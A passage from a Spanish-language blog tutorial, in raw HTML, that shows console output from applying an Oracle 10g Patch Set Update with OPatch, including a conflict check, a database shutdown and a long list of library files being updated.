&lt;div&gt;Con esto ya está superado el problema:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ opatch version
Invoking OPatch 10.2.0.4.7

OPatch Version: 10.2.0.4.7

OPatch succeeded.
&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Todo listo para instalar el &lt;b&gt;PSU&lt;/b&gt;, pero primero verificamos que no entre en conflicto con algún &lt;b&gt;&lt;i&gt;one-off patch&lt;/i&gt;&lt;/b&gt; previamente instalado.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd 8576156
[oracle@urania 8576156]$ opatch prereq CheckConflictAgainstOHWithDetail -phBaseDir .
Invoking OPatch 10.2.0.4.7

Oracle Interim Patch Installer version 10.2.0.4.7
Copyright (c) 2009, Oracle Corporation.  All rights reserved.

PREREQ session

Oracle Home       : /u01/app/oracle/product/10.2.0/db_4
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.7
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_4/oui
Log file location : /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch2009-07-15_12-41-59PM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch_history.txt

Invoking prereq "checkconflictagainstohwithdetail"

Prereq "checkConflictAgainstOHWithDetail" passed.

OPatch succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora bajamos la base de datos y aplicamos el &lt;b&gt;PSU&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania 8576156]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.4.0 - Production on Wed Jul 15 12:37:56 2009

Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.


Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SYS@test&gt; shutdown immediate
Database closed.
Database dismounted.
ORACLE instance shut down.
SYS@test&gt; exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

[oracle@urania 8576156]$ opatch apply
Invoking OPatch 10.2.0.4.7

Oracle Interim Patch Installer version 10.2.0.4.7
Copyright (c) 2009, Oracle Corporation.  All rights reserved.


Oracle Home       : /u01/app/oracle/product/10.2.0/db_4
Central Inventory : /u01/app/oracle/oraInventory
   from           : /etc/oraInst.loc
OPatch version    : 10.2.0.4.7
OUI version       : 10.2.0.4.0
OUI location      : /u01/app/oracle/product/10.2.0/db_4/oui
Log file location : /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch2009-07-15_12-44-45PM.log

Patch history file: /u01/app/oracle/product/10.2.0/db_4/cfgtoollogs/opatch/opatch_history.txt

ApplySession applying interim patch '8576156' to OH '/u01/app/oracle/product/10.2.0/db_4'

Running prerequisite checks...
Provide your email address to be informed of security issues, install and
initiate Oracle Configuration Manager. Easier for you if you use your My
Oracle Support Email address/User Name.
Visit http://www.oracle.com/support/policies.html for details.
Email address/User Name:

You have not provided an email address for notification of security issues.
Do you wish to remain uninformed of security issues ([Y]es, [N]o) [N]:  &lt;span style="color: red; font-weight:bold;"&gt;Y&lt;/span&gt;

OPatch detected non-cluster Oracle Home from the inventory and will patch the local system only.


Please shutdown Oracle instances running out of this ORACLE_HOME on the local system.
(Oracle Home = '/u01/app/oracle/product/10.2.0/db_4')


Is the local system ready for patching? [y|n]
&lt;span style="color: red; font-weight:bold;"&gt;y&lt;/span&gt;
User Responded with: Y
Backing up files and inventory (not for auto-rollback) for the Oracle Home
Backing up files affected by the patch '8576156' for restore. This might take a while...
Backing up files affected by the patch '8576156' for rollback. This might take a while...
Execution of 'sh /home/oracle/8576156/custom/scripts/pre -apply 8576156 ':


Return Code = 0

Patching component oracle.rdbms.rsf, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcodfdef.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/qcdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kghs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kgcc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libgeneric10.a"  with "lib/libgeneric10.a/kgh.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kd4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdb4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdr4.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/kdr9ir24.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libcommon10.a"  with "lib/libcommon10.a/ttcpip.o"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaDataManager.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaDataReports.class"
Updating jar file "/u01/app/oracle/product/10.2.0/db_4/rdbms/jlib/qsma.jar" with "/rdbms/jlib/qsma.jar/oracle/qsma/QsmaFileManager.class"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/env_rdbms.mk"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/rfsd.o"

Patching component oracle.rdbms.util, 10.2.0.4.0...

Patching component oracle.rdbms.dbscripts, 10.2.0.4.0...
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtdefr.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbpp.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtdmsu.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbstr.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtsum.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtsms.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtjob.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtaqds.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlmc.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlmd.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtlsby.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/prvtbcap.plb"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/dbmssum.sql"
Copying file to "/u01/app/oracle/product/10.2.0/db_4/rdbms/admin/e1001000.sql"

Patching component oracle.rdbms, 10.2.0.4.0...
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kupp.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kwqn.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ctc.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qccpu                  b.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkxe.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkxs.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzvdv                  e.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/sldbg                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdg.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kkz.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/updex                  e.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qerhj                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ain.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qerlx                  t.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qkexr                  .o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/atb.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qol.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kksc.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qke.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzrt.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/opipr                  s.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdl.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxto.                  o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kaf.o                  "
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kaf9i                  r2.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd9ir
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kd9ir2t.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdb9ir2o.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdblc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kds.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst00.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst01.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst10.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdst11.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qertb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/nsoqbc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/vop.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kksl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/evar2v.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfafo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfcfg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfipc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfmon.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfmon1.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfra.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrdb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrla.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrpa.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrpd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrst.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfrxpt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsicd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfsx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/rfupg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kdt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/koklm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kokeg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvi.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvrda.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvxs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knaha.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knahf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knahs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knals.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knasp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlcf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knlci.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktuq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krff.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kct.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kccr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kck.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcra.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrlc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krfw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krsm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksct.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kspt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/tbsdrv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/dbsdrv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfgb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfk0.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kqf.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjfm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kslt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kji.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfcl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kfrb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kwqmn.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksu.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbv.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbk.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcbb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbl.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksxp.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjdd.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjdr.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjb.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kjbm.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcrfw.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kcs.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/krvg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/knld.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prsc.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prsg.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/prssz.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kzrt.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kpolon.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxfx.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ktss.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/qertqo.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/kxfq.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/lib/libserver10.a"  with "lib/libserver10.a/ksws.o"
Updating archive file "/u01/app/oracle/product/10.2.0/db_4/rdbms/lib/libperfsrv10.a"  with "rdbms/lib/libperfsrv10.a/qcodfdef_PERF.o"
